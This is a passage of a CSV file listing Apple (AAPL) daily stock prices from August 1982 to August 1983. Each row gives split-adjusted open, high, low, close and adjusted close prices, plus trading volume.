-1982-08-11,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,17472000.0,AAPL -1982-08-12,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,7655200.0,AAPL -1982-08-13,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,6490400.0,AAPL -1982-08-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,9604000.0,AAPL -1982-08-17,0.2544642984867096,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.20210061967372894,11933600.0,AAPL -1982-08-18,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,31264800.0,AAPL -1982-08-19,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,11905600.0,AAPL -1982-08-20,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20919188857078552,13714400.0,AAPL -1982-08-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,17421600.0,AAPL -1982-08-24,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.22869282960891724,38942400.0,AAPL -1982-08-25,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,89269600.0,AAPL -1982-08-26,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,52645600.0,AAPL -1982-08-27,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,24662400.0,AAPL -1982-08-30,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.24287545680999756,20109600.0,AAPL -1982-08-31,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,35140000.0,AAPL -1982-09-01,0.3147321343421936,0.3147321343421936,0.3125,0.3125,0.24819375574588776,20641600.0,AAPL -1982-09-02,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,18855200.0,AAPL -1982-09-03,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,26135200.0,AAPL -1982-09-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.2464209944009781,20344800.0,AAPL -1982-09-08,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,18082400.0,AAPL -1982-09-09,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,15898400.0,AAPL -1982-09-10,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,14016800.0,AAPL -1982-09-13,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,14722400.0,AAPL -1982-09-14,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,25373600.0,AAPL -1982-09-15,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,17936800.0,AAPL -1982-09-16,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,20092800.0,AAPL -1982-09-17,0.3191964328289032,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,13512800.0,AAPL -1982-09-20,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,9783200.0,AAPL -1982-09-21,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,9167200.0,AAPL -1982-09-22,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,25844000.0,AAPL -1982-09-23,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,34955200.0,AAPL -1982-09-24,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,44548000.0,AAPL -1982-09-27,0.3236607015132904,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,9536800.0,AAPL -1982-09-28,0.328125,0.3325892984867096,0.328125,0.328125,0.26060351729393005,21380800.0,AAPL -1982-09-29,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,16391200.0,AAPL -1982-09-30,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,18670400.0,AAPL -1982-10-01,0.3303571343421936,0.3348214328289032,0.3303571343421936,0.3303571343421936,0.26237624883651733,11564000.0,AAPL -1982-10-04,0.3303571343421936,0.3370535671710968,0.3214285671710968,0.3348214328289032,0.2659218907356262,17332000.0,AAPL -1982-10-05,0.3348214328289032,0.34375,0.3348214328289032,0.3370535671710968,0.2676945626735687,20059200.0,AAPL -1982-10-06,0.3370535671710968,0.3616071343421936,0.3370535671710968,0.3616071343421936,0.2871958017349243,43383200.0,AAPL -1982-10-07,0.3638392984867096,0.3928571343421936,0.3638392984867096,0.390625,0.31024226546287537,77918400.0,AAPL -1982-10-08,0.390625,0.421875,0.3883928656578064,0.4196428656578064,0.3332887589931488,68885600.0,AAPL -1982-10-11,0.4196428656578064,0.4419642984867096,0.4196428656578064,0.4285714328289032,0.3403799831867218,78433600.0,AAPL -1982-10-12,0.4285714328289032,0.4352678656578064,0.4107142984867096,0.4151785671710968,0.3297431766986847,64736000.0,AAPL -1982-10-13,0.4151785671710968,0.4330357015132904,0.4107142984867096,0.4196428656578064,0.3332887589931488,49711200.0,AAPL -1982-10-14,0.4196428656578064,0.4263392984867096,0.4129464328289032,0.421875,0.33506160974502563,44665600.0,AAPL -1982-10-15,0.4196428656578064,0.4196428656578064,0.4040178656578064,0.4107142984867096,0.3261975944042206,36153600.0,AAPL -1982-10-18,0.4107142984867096,0.421875,0.4107142984867096,0.4196428656578064,0.3332887589931488,23587200.0,AAPL -1982-10-19,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4285714328289032,0.3403799831867218,30710400.0,AAPL -1982-10-20,0.4285714328289032,0.4575892984867096,0.4263392984867096,0.453125,0.35988089442253113,60524800.0,AAPL -1982-10-21,0.453125,0.4776785671710968,0.4464285671710968,0.4642857015132904,0.3687450587749481,56879200.0,AAPL -1982-10-22,0.4642857015132904,0.4776785671710968,0.4620535671710968,0.4620535671710968,0.3669722080230713,40420800.0,AAPL -1982-10-25,0.4620535671710968,0.4642857015132904,0.4330357015132904,0.4352678656578064,0.3456985056400299,46233600.0,AAPL -1982-10-26,0.4352678656578064,0.4397321343421936,0.4151785671710968,0.4375,0.34747135639190674,41938400.0,AAPL -1982-10-27,0.4375,0.4508928656578064,0.4375,0.4486607015132904,0.35633549094200134,47790400.0,AAPL -1982-10-28,0.4486607015132904,0.453125,0.4419642984867096,0.4486607015132904,0.35633549094200134,54420800.0,AAPL -1982-10-29,0.4486607015132904,0.453125,0.4419642984867096,0.453125,0.35988089442253113,29528800.0,AAPL -1982-11-01,0.453125,0.4821428656578064,0.4486607015132904,0.4776785671710968,0.37938192486763,26090400.0,AAPL -1982-11-02,0.4821428656578064,0.5267857313156128,0.4821428656578064,0.5111607313156128,0.40597423911094666,77711200.0,AAPL -1982-11-03,0.5111607313156128,0.5491071343421936,0.5111607313156128,0.5491071343421936,0.4361119568347931,58783200.0,AAPL -1982-11-04,0.5491071343421936,0.5691964030265808,0.5446428656578064,0.5535714030265808,0.4396573603153229,82269600.0,AAPL -1982-11-05,0.5491071343421936,0.5491071343421936,0.5290178656578064,0.5379464030265808,0.4272479712963104,35375200.0,AAPL -1982-11-08,0.5379464030265808,0.5424107313156128,0.5133928656578064,0.515625,0.4095197916030884,29797600.0,AAPL -1982-11-09,0.515625,0.5379464030265808,0.5133928656578064,0.5334821343421936,0.42370226979255676,44945600.0,AAPL -1982-11-10,0.5357142686843872,0.5625,0.5357142686843872,0.5535714030265808,0.4396573603153229,50696800.0,AAPL -1982-11-11,0.5535714030265808,0.5892857313156128,0.5446428656578064,0.5892857313156128,0.46802276372909546,30788800.0,AAPL -1982-11-12,0.5892857313156128,0.6071428656578064,0.578125,0.578125,0.45915842056274414,32776800.0,AAPL -1982-11-15,0.578125,0.5848214030265808,0.5580357313156128,0.5647321343421936,0.4485216736793518,31147200.0,AAPL -1982-11-16,0.5647321343421936,0.5669642686843872,0.5334821343421936,0.5357142686843872,0.4254750907421112,45505600.0,AAPL -1982-11-17,0.5357142686843872,0.5625,0.5357142686843872,0.5602678656578064,0.44497600197792053,36036000.0,AAPL -1982-11-18,0.5602678656578064,0.5691964030265808,0.5580357313156128,0.5602678656578064,0.44497600197792053,38169600.0,AAPL -1982-11-19,0.5602678656578064,0.5647321343421936,0.5491071343421936,0.5513392686843872,0.43788468837738037,24326400.0,AAPL -1982-11-22,0.5513392686843872,0.5513392686843872,0.5022321343421936,0.5022321343421936,0.3988828659057617,25312000.0,AAPL -1982-11-23,0.5089285969734192,0.53125,0.5089285969734192,0.515625,0.4095197916030884,22125600.0,AAPL -1982-11-24,0.515625,0.5446428656578064,0.5133928656578064,0.5267857313156128,0.41838377714157104,18435200.0,AAPL -1982-11-26,0.5267857313156128,0.5334821343421936,0.5066964030265808,0.5178571343421936,0.4112926721572876,25496800.0,AAPL -1982-11-29,0.5178571343421936,0.5245535969734192,0.5,0.515625,0.4095197916030884,12488000.0,AAPL -1982-11-30,0.515625,0.5714285969734192,0.5133928656578064,0.5691964030265808,0.4520672559738159,39799200.0,AAPL -1982-12-01,0.5691964030265808,0.6026785969734192,0.5691964030265808,0.5803571343421936,0.4609312117099762,51710400.0,AAPL -1982-12-02,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5803571343421936,0.4609312117099762,41182400.0,AAPL -1982-12-03,0.5736607313156128,0.5736607313156128,0.5602678656578064,0.5669642686843872,0.4502944052219391,11894400.0,AAPL -1982-12-06,0.5669642686843872,0.6026785969734192,0.5625,0.5982142686843872,0.47511371970176697,36646400.0,AAPL -1982-12-07,0.5982142686843872,0.6183035969734192,0.5848214030265808,0.6049107313156128,0.48043233156204224,41820800.0,AAPL -1982-12-08,0.6049107313156128,0.6227678656578064,0.5892857313156128,0.5915178656578064,0.469795286655426,28078400.0,AAPL -1982-12-09,0.5825892686843872,0.5825892686843872,0.5535714030265808,0.5625,0.4467487037181854,48664000.0,AAPL -1982-12-10,0.5535714030265808,0.5535714030265808,0.515625,0.5223214030265808,0.4148382544517517,41871200.0,AAPL -1982-12-13,0.5178571343421936,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40597423911094666,23844800.0,AAPL -1982-12-14,0.5111607313156128,0.5424107313156128,0.5,0.5066964030265808,0.402428537607193,67513600.0,AAPL -1982-12-15,0.5066964030265808,0.5089285969734192,0.4933035671710968,0.5044642686843872,0.40065574645996094,32698400.0,AAPL -1982-12-16,0.5044642686843872,0.5223214030265808,0.5,0.5133928656578064,0.4077470302581787,35291200.0,AAPL -1982-12-17,0.5133928656578064,0.5424107313156128,0.5111607313156128,0.5379464030265808,0.4272479712963104,20182400.0,AAPL -1982-12-20,0.5379464030265808,0.5401785969734192,0.53125,0.5357142686843872,0.4254750907421112,17444000.0,AAPL -1982-12-21,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.5401785969734192,0.42902064323425293,19986400.0,AAPL -1982-12-22,0.5424107313156128,0.5558035969734192,0.5424107313156128,0.5558035969734192,0.4414304792881012,25306400.0,AAPL -1982-12-23,0.5558035969734192,0.5714285969734192,0.5513392686843872,0.5714285969734192,0.453840047121048,21744800.0,AAPL -1982-12-27,0.5714285969734192,0.5870535969734192,0.5669642686843872,0.5848214030265808,0.4644768536090851,15467200.0,AAPL -1982-12-28,0.5848214030265808,0.6026785969734192,0.5736607313156128,0.5803571343421936,0.4609312117099762,28341600.0,AAPL -1982-12-29,0.5803571343421936,0.5825892686843872,0.5535714030265808,0.5602678656578064,0.44497600197792053,20176800.0,AAPL -1982-12-30,0.5602678656578064,0.5669642686843872,0.5290178656578064,0.5357142686843872,0.4254750907421112,39216800.0,AAPL -1982-12-31,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42370226979255676,12415200.0,AAPL -1983-01-03,0.5334821343421936,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.4042012393474579,28207200.0,AAPL -1983-01-04,0.5089285969734192,0.5401785969734192,0.5,0.5379464030265808,0.4272479712963104,55927200.0,AAPL -1983-01-05,0.5379464030265808,0.5446428656578064,0.5290178656578064,0.5401785969734192,0.42902064323425293,35386400.0,AAPL -1983-01-06,0.5401785969734192,0.5424107313156128,0.5178571343421936,0.5200892686843872,0.4130654036998749,24449600.0,AAPL -1983-01-07,0.5200892686843872,0.5267857313156128,0.4910714328289032,0.4910714328289032,0.39001888036727905,43013600.0,AAPL -1983-01-10,0.4910714328289032,0.5178571343421936,0.4866071343421936,0.5133928656578064,0.4077470302581787,68835200.0,AAPL -1983-01-11,0.5133928656578064,0.5267857313156128,0.5133928656578064,0.5200892686843872,0.4130654036998749,347200.0,AAPL -1983-01-12,0.5267857313156128,0.5625,0.5267857313156128,0.5491071343421936,0.4361119568347931,44245600.0,AAPL -1983-01-13,0.5491071343421936,0.5535714030265808,0.5401785969734192,0.5491071343421936,0.4361119568347931,20568800.0,AAPL -1983-01-14,0.5513392686843872,0.5892857313156128,0.5513392686843872,0.5892857313156128,0.46802276372909546,46160800.0,AAPL -1983-01-17,0.5892857313156128,0.6183035969734192,0.5848214030265808,0.609375,0.4839777946472168,58716000.0,AAPL -1983-01-18,0.609375,0.6227678656578064,0.5803571343421936,0.5959821343421936,0.4733408987522125,54947200.0,AAPL -1983-01-19,0.5959821343421936,0.6071428656578064,0.59375,0.6004464030265808,0.4768866300582886,42414400.0,AAPL -1983-01-20,0.6004464030265808,0.6674107313156128,0.6004464030265808,0.6674107313156128,0.5300711989402771,176960000.0,AAPL -1983-01-21,0.6674107313156128,0.6964285969734192,0.6607142686843872,0.6674107313156128,0.5300711989402771,100648800.0,AAPL -1983-01-24,0.6674107313156128,0.6674107313156128,0.6183035969734192,0.6294642686843872,0.499933123588562,78853600.0,AAPL -1983-01-25,0.6294642686843872,0.6696428656578064,0.625,0.6540178656578064,0.5194342136383057,41759200.0,AAPL -1983-01-26,0.6607142686843872,0.6875,0.6607142686843872,0.6808035969734192,0.5407077074050903,50803200.0,AAPL -1983-01-27,0.6808035969734192,0.7321428656578064,0.6785714030265808,0.7276785969734192,0.5779370665550232,26079200.0,AAPL -1983-01-28,0.7276785969734192,0.75,0.7232142686843872,0.7321428656578064,0.5814827680587769,99433600.0,AAPL -1983-01-31,0.7321428656578064,0.7433035969734192,0.7165178656578064,0.7299107313156128,0.5797098278999329,47000800.0,AAPL -1983-02-01,0.7299107313156128,0.7455357313156128,0.71875,0.7455357313156128,0.5921195149421692,52740800.0,AAPL -1983-02-02,0.7455357313156128,0.78125,0.734375,0.765625,0.6080747246742249,66763200.0,AAPL -1983-02-03,0.765625,0.7991071343421936,0.7589285969734192,0.796875,0.6328939199447632,63134400.0,AAPL -1983-02-04,0.796875,0.8102678656578064,0.7834821343421936,0.7857142686843872,0.6240302324295044,53586400.0,AAPL -1983-02-07,0.7857142686843872,0.796875,0.7410714030265808,0.7544642686843872,0.5992107391357422,35728000.0,AAPL -1983-02-08,0.7544642686843872,0.765625,0.7388392686843872,0.7477678656578064,0.5938920974731445,42028000.0,AAPL -1983-02-09,0.7477678656578064,0.7589285969734192,0.7276785969734192,0.7544642686843872,0.5992107391357422,45203200.0,AAPL -1983-02-10,0.7544642686843872,0.8080357313156128,0.7544642686843872,0.8035714030265808,0.6382126212120056,59180800.0,AAPL -1983-02-11,0.8102678656578064,0.84375,0.8102678656578064,0.8303571343421936,0.6594863533973694,50887200.0,AAPL -1983-02-14,0.8303571343421936,0.8303571343421936,0.8058035969734192,0.8258928656578064,0.6559407114982605,31544800.0,AAPL -1983-02-15,0.8258928656578064,0.8325892686843872,0.8013392686843872,0.8102678656578064,0.6435309648513794,28795200.0,AAPL -1983-02-16,0.8102678656578064,0.8102678656578064,0.7901785969734192,0.7946428656578064,0.6311213970184326,29142400.0,AAPL -1983-02-17,0.7946428656578064,0.7946428656578064,0.7611607313156128,0.7857142686843872,0.6240302324295044,34042400.0,AAPL -1983-02-18,0.7857142686843872,0.8191964030265808,0.7767857313156128,0.8102678656578064,0.6435309648513794,28722400.0,AAPL -1983-02-22,0.8147321343421936,0.8526785969734192,0.8147321343421936,0.8303571343421936,0.6594863533973694,49196000.0,AAPL -1983-02-23,0.8303571343421936,0.8415178656578064,0.8236607313156128,0.8370535969734192,0.6648050546646118,27008800.0,AAPL -1983-02-24,0.84375,0.8638392686843872,0.84375,0.859375,0.6825330853462219,28873600.0,AAPL -1983-02-25,0.859375,0.8683035969734192,0.8303571343421936,0.8348214030265808,0.6630319356918335,28672000.0,AAPL -1983-02-28,0.8348214030265808,0.8370535969734192,0.8125,0.8147321343421936,0.6470766663551331,33073600.0,AAPL -1983-03-01,0.8147321343421936,0.8325892686843872,0.8125,0.828125,0.6577135324478149,35067200.0,AAPL -1983-03-02,0.828125,0.8392857313156128,0.8258928656578064,0.8348214030265808,0.6630319356918335,26488000.0,AAPL -1983-03-03,0.8348214030265808,0.84375,0.8058035969734192,0.8080357313156128,0.6417582631111145,32883200.0,AAPL -1983-03-04,0.8080357313156128,0.8102678656578064,0.7723214030265808,0.796875,0.6328939199447632,37951200.0,AAPL -1983-03-07,0.796875,0.7991071343421936,0.7589285969734192,0.78125,0.6204845309257507,38169600.0,AAPL -1983-03-08,0.7767857313156128,0.7767857313156128,0.7455357313156128,0.7566964030265808,0.6009835600852966,55160000.0,AAPL -1983-03-09,0.7566964030265808,0.7790178656578064,0.7433035969734192,0.7790178656578064,0.6187117695808411,49834400.0,AAPL -1983-03-10,0.7790178656578064,0.7879464030265808,0.7611607313156128,0.7678571343421936,0.6098476648330688,28151200.0,AAPL -1983-03-11,0.7678571343421936,0.78125,0.7388392686843872,0.7566964030265808,0.6009835600852966,21940800.0,AAPL -1983-03-14,0.7544642686843872,0.7544642686843872,0.7209821343421936,0.7388392686843872,0.5868011116981506,42968800.0,AAPL -1983-03-15,0.7388392686843872,0.75,0.7165178656578064,0.75,0.5956653356552124,18765600.0,AAPL -1983-03-16,0.75,0.7767857313156128,0.7455357313156128,0.75,0.5956653356552124,27742400.0,AAPL -1983-03-17,0.75,0.7566964030265808,0.7477678656578064,0.7566964030265808,0.6009835600852966,11037600.0,AAPL -1983-03-18,0.7566964030265808,0.7767857313156128,0.7544642686843872,0.7678571343421936,0.6098476648330688,21532000.0,AAPL -1983-03-21,0.7678571343421936,0.7879464030265808,0.7633928656578064,0.7857142686843872,0.6240302324295044,26006400.0,AAPL -1983-03-22,0.7857142686843872,0.8058035969734192,0.7857142686843872,0.7946428656578064,0.6311213970184326,25250400.0,AAPL -1983-03-23,0.7946428656578064,0.796875,0.7544642686843872,0.7566964030265808,0.6009835600852966,35190400.0,AAPL -1983-03-24,0.7566964030265808,0.7790178656578064,0.7544642686843872,0.7700892686843872,0.6116203665733337,25614400.0,AAPL -1983-03-25,0.7700892686843872,0.7834821343421936,0.7678571343421936,0.7700892686843872,0.6116203665733337,14515200.0,AAPL -1983-03-28,0.7678571343421936,0.7678571343421936,0.7455357313156128,0.7589285969734192,0.6027565002441406,18642400.0,AAPL -1983-03-29,0.7611607313156128,0.7879464030265808,0.7611607313156128,0.78125,0.6204845309257507,25933600.0,AAPL -1983-03-30,0.78125,0.7924107313156128,0.78125,0.7901785969734192,0.6275757551193237,21952000.0,AAPL -1983-03-31,0.7901785969734192,0.7946428656578064,0.7544642686843872,0.7544642686843872,0.5992107391357422,21285600.0,AAPL -1983-04-04,0.7544642686843872,0.7544642686843872,0.7165178656578064,0.734375,0.5832552909851074,31847200.0,AAPL -1983-04-05,0.734375,0.75,0.7209821343421936,0.7209821343421936,0.5726184844970703,30525600.0,AAPL -1983-04-06,0.7209821343421936,0.7232142686843872,0.7053571343421936,0.7142857313156128,0.5673001408576965,53496800.0,AAPL -1983-04-07,0.7142857313156128,0.71875,0.703125,0.7075892686843872,0.5619816184043884,36377600.0,AAPL -1983-04-08,0.7075892686843872,0.7120535969734192,0.6897321343421936,0.703125,0.5584360361099243,37564800.0,AAPL -1983-04-11,0.703125,0.7477678656578064,0.6919642686843872,0.7433035969734192,0.5903465151786804,57618400.0,AAPL -1983-04-12,0.7433035969734192,0.7611607313156128,0.7433035969734192,0.7589285969734192,0.6027565002441406,43512000.0,AAPL -1983-04-13,0.7589285969734192,0.7879464030265808,0.7589285969734192,0.7857142686843872,0.6240302324295044,47443200.0,AAPL -1983-04-14,0.7857142686843872,0.8058035969734192,0.7790178656578064,0.8035714030265808,0.6382126212120056,34092800.0,AAPL -1983-04-15,0.8035714030265808,0.8236607313156128,0.8035714030265808,0.8169642686843872,0.6488494277000427,28750400.0,AAPL -1983-04-18,0.8214285969734192,0.8549107313156128,0.8214285969734192,0.8392857313156128,0.6665775179862976,38892000.0,AAPL -1983-04-19,0.8392857313156128,0.8459821343421936,0.8258928656578064,0.8303571343421936,0.6594863533973694,58469600.0,AAPL -1983-04-20,0.8303571343421936,0.9107142686843872,0.8303571343421936,0.9040178656578064,0.7179893255233765,72083200.0,AAPL -1983-04-21,0.9151785969734192,0.9419642686843872,0.9151785969734192,0.9285714030265808,0.7374901175498962,57512000.0,AAPL -1983-04-22,0.9285714030265808,0.9375,0.90625,0.9107142686843872,0.723307728767395,31796800.0,AAPL -1983-04-25,0.9107142686843872,0.9174107313156128,0.8638392686843872,0.8683035969734192,0.6896243095397949,31427200.0,AAPL -1983-04-26,0.8683035969734192,0.9040178656578064,0.8660714030265808,0.8928571343421936,0.7091249823570251,24858400.0,AAPL -1983-04-27,0.8928571343421936,0.9129464030265808,0.875,0.8839285969734192,0.7020338773727417,21509600.0,AAPL -1983-04-28,0.8839285969734192,0.8973214030265808,0.8727678656578064,0.8928571343421936,0.7091249823570251,19852000.0,AAPL -1983-04-29,0.8928571343421936,0.90625,0.8816964030265808,0.9017857313156128,0.7162164449691772,77078400.0,AAPL -1983-05-02,0.9017857313156128,0.90625,0.8638392686843872,0.875,0.6949427127838135,24270400.0,AAPL -1983-05-03,0.875,0.8772321343421936,0.8504464030265808,0.8660714030265808,0.6878513097763062,26499200.0,AAPL -1983-05-04,0.8660714030265808,0.9196428656578064,0.8660714030265808,0.9196428656578064,0.7303988933563232,32278400.0,AAPL -1983-05-05,0.9196428656578064,0.9821428656578064,0.9196428656578064,0.9799107313156128,0.7782648205757141,35123200.0,AAPL -1983-05-06,0.9799107313156128,0.9955357313156128,0.9598214030265808,0.984375,0.7818105220794678,25037600.0,AAPL -1983-05-09,0.984375,0.9866071343421936,0.9620535969734192,0.9709821343421936,0.7711737155914307,17292800.0,AAPL -1983-05-10,0.9709821343421936,0.9888392686843872,0.9665178656578064,0.9776785969734192,0.7764920592308044,12975200.0,AAPL -1983-05-11,0.9776785969734192,0.9821428656578064,0.9464285969734192,0.953125,0.7569910883903503,13815200.0,AAPL -1983-05-12,0.953125,0.953125,0.9352678656578064,0.9441964030265808,0.7498998045921326,24606400.0,AAPL -1983-05-13,0.9441964030265808,0.9575892686843872,0.9441964030265808,0.9486607313156128,0.753445565700531,12241600.0,AAPL -1983-05-16,0.9486607313156128,0.9486607313156128,0.9196428656578064,0.9241071343421936,0.7339444160461426,17298400.0,AAPL -1983-05-17,0.9241071343421936,0.9285714030265808,0.9129464030265808,0.9263392686843872,0.7357171773910522,38589600.0,AAPL -1983-05-18,0.9263392686843872,0.9464285969734192,0.9263392686843872,0.9375,0.7445815205574036,39250400.0,AAPL -1983-05-19,0.9375,0.96875,0.9375,0.9665178656578064,0.7676281929016113,17572800.0,AAPL -1983-05-20,0.9665178656578064,1.0178571939468384,0.953125,1.015625,0.8066299557685852,36523200.0,AAPL -1983-05-23,1.015625,1.0267857313156128,0.9955357313156128,1.0267857313156128,0.8154940605163574,30436000.0,AAPL -1983-05-24,1.0267857313156128,1.0803571939468384,1.0267857313156128,1.0803571939468384,0.8580412864685059,26924800.0,AAPL -1983-05-25,1.0803571939468384,1.0892857313156128,1.0558035373687744,1.0714285373687744,0.8509501814842224,38432800.0,AAPL -1983-05-26,1.0714285373687744,1.078125,1.0513392686843872,1.0602678060531616,0.8420860171318054,26392800.0,AAPL -1983-05-27,1.0602678060531616,1.0714285373687744,1.0558035373687744,1.0602678060531616,0.8420860171318054,14156800.0,AAPL -1983-05-31,1.0580357313156128,1.0580357313156128,1.0111607313156128,1.03125,0.8190395832061768,11384800.0,AAPL -1983-06-01,1.03125,1.0401785373687744,1.0223214626312256,1.0379464626312256,0.8243579864501953,24522400.0,AAPL -1983-06-02,1.0379464626312256,1.0446428060531616,1.03125,1.0446428060531616,0.8296765089035034,19857600.0,AAPL -1983-06-03,1.0446428060531616,1.1004464626312256,1.0446428060531616,1.0959821939468384,0.8704509139060974,16133600.0,AAPL -1983-06-06,1.0959821939468384,1.1205357313156128,1.0959821939468384,1.1205357313156128,0.8899520039558411,26023200.0,AAPL -1983-06-07,1.1205357313156128,1.1294642686843872,1.0825892686843872,1.0825892686843872,0.8598143458366394,24544800.0,AAPL -1983-06-08,1.0825892686843872,1.0870535373687744,1.0602678060531616,1.0691964626312256,0.8491770029067993,21011200.0,AAPL -1983-06-09,1.0691964626312256,1.0803571939468384,1.0424107313156128,1.0625,0.8438588976860046,13697600.0,AAPL -1983-06-10,1.0625,1.0691964626312256,1.0558035373687744,1.0580357313156128,0.8403132557868958,9357600.0,AAPL -1983-06-13,1.0580357313156128,1.0602678060531616,0.9821428656578064,1.0223214626312256,0.8119484782218933,44816800.0,AAPL -1983-06-14,1.0223214626312256,1.03125,0.9955357313156128,1.0,0.7942202091217041,42632800.0,AAPL -1983-06-15,0.9977678656578064,0.9977678656578064,0.9508928656578064,0.9709821343421936,0.7711737155914307,48339200.0,AAPL -1983-06-16,0.9754464030265808,1.0223214626312256,0.9754464030265808,1.0223214626312256,0.8119484782218933,30721600.0,AAPL -1983-06-17,1.0223214626312256,1.0267857313156128,1.0022321939468384,1.0022321939468384,0.795992910861969,14011200.0,AAPL -1983-06-20,1.0022321939468384,1.0089285373687744,0.9441964030265808,0.953125,0.7569910883903503,34893600.0,AAPL -1983-06-21,0.953125,0.9642857313156128,0.9352678656578064,0.9598214030265808,0.7623096108436584,31365600.0,AAPL -1983-06-22,0.9620535969734192,0.9933035969734192,0.9620535969734192,0.9888392686843872,0.7853561043739319,35240800.0,AAPL -1983-06-23,0.984375,0.984375,0.9553571343421936,0.9575892686843872,0.7605366706848145,33499200.0,AAPL -1983-06-24,0.9575892686843872,0.9709821343421936,0.9486607313156128,0.9508928656578064,0.7552183270454407,11911200.0,AAPL -1983-06-27,0.9508928656578064,0.9508928656578064,0.8995535969734192,0.8995535969734192,0.7144435048103333,30760800.0,AAPL -1983-06-28,0.8995535969734192,0.9040178656578064,0.8303571343421936,0.8370535969734192,0.6648050546646118,87292800.0,AAPL -1983-06-29,0.8370535969734192,0.8861607313156128,0.8169642686843872,0.8772321343421936,0.6967156529426575,73595200.0,AAPL -1983-06-30,0.8772321343421936,0.8928571343421936,0.8683035969734192,0.8727678656578064,0.6931699514389038,27641600.0,AAPL -1983-07-01,0.8727678656578064,0.8883928656578064,0.8683035969734192,0.8794642686843872,0.6984879970550537,43064000.0,AAPL -1983-07-05,0.8794642686843872,0.8816964030265808,0.8415178656578064,0.84375,0.6701232194900513,20512800.0,AAPL -1983-07-06,0.84375,0.8482142686843872,0.828125,0.8459821343421936,0.6718960404396057,23979200.0,AAPL -1983-07-07,0.8459821343421936,0.8482142686843872,0.8303571343421936,0.8348214030265808,0.6630319356918335,22360800.0,AAPL -1983-07-08,0.8348214030265808,0.8348214030265808,0.8214285969734192,0.8258928656578064,0.6559407114982605,17544800.0,AAPL -1983-07-11,0.8258928656578064,0.8616071343421936,0.8258928656578064,0.8482142686843872,0.6736689209938049,28229600.0,AAPL -1983-07-12,0.8482142686843872,0.8571428656578064,0.8236607313156128,0.828125,0.6577135324478149,18799200.0,AAPL -1983-07-13,0.828125,0.8303571343421936,0.8102678656578064,0.8236607313156128,0.6541679501533508,32250400.0,AAPL -1983-07-14,0.8236607313156128,0.8370535969734192,0.8169642686843872,0.8214285969734192,0.6523951888084412,18726400.0,AAPL -1983-07-15,0.8214285969734192,0.8214285969734192,0.7879464030265808,0.7924107313156128,0.6293485760688782,16990400.0,AAPL -1983-07-18,0.7924107313156128,0.7946428656578064,0.7723214030265808,0.7901785969734192,0.6275757551193237,20406400.0,AAPL -1983-07-19,0.7901785969734192,0.828125,0.7745535969734192,0.78125,0.6204845309257507,42784000.0,AAPL -1983-07-20,0.78125,0.7879464030265808,0.7276785969734192,0.7366071343421936,0.5850280523300171,76221600.0,AAPL -1983-07-21,0.7366071343421936,0.7924107313156128,0.7321428656578064,0.7745535969734192,0.6151660680770874,79346400.0,AAPL -1983-07-22,0.7745535969734192,0.7834821343421936,0.7723214030265808,0.78125,0.6204845309257507,29108800.0,AAPL -1983-07-25,0.78125,0.78125,0.7589285969734192,0.7700892686843872,0.6116203665733337,19107200.0,AAPL -1983-07-26,0.7700892686843872,0.7745535969734192,0.6696428656578064,0.6986607313156128,0.5548903942108154,67244800.0,AAPL -1983-07-27,0.6986607313156128,0.7209821343421936,0.6383928656578064,0.6473214030265808,0.5141157507896423,75079200.0,AAPL -1983-07-28,0.6473214030265808,0.65625,0.6071428656578064,0.6071428656578064,0.48220518231391907,67620000.0,AAPL -1983-07-29,0.6071428656578064,0.6294642686843872,0.6049107313156128,0.6227678656578064,0.494614839553833,55081600.0,AAPL -1983-08-01,0.6227678656578064,0.6495535969734192,0.6116071343421936,0.6160714030265808,0.4892963469028473,58111200.0,AAPL -1983-08-02,0.6160714030265808,0.625,0.6116071343421936,0.6138392686843872,0.48752349615097046,25412800.0,AAPL 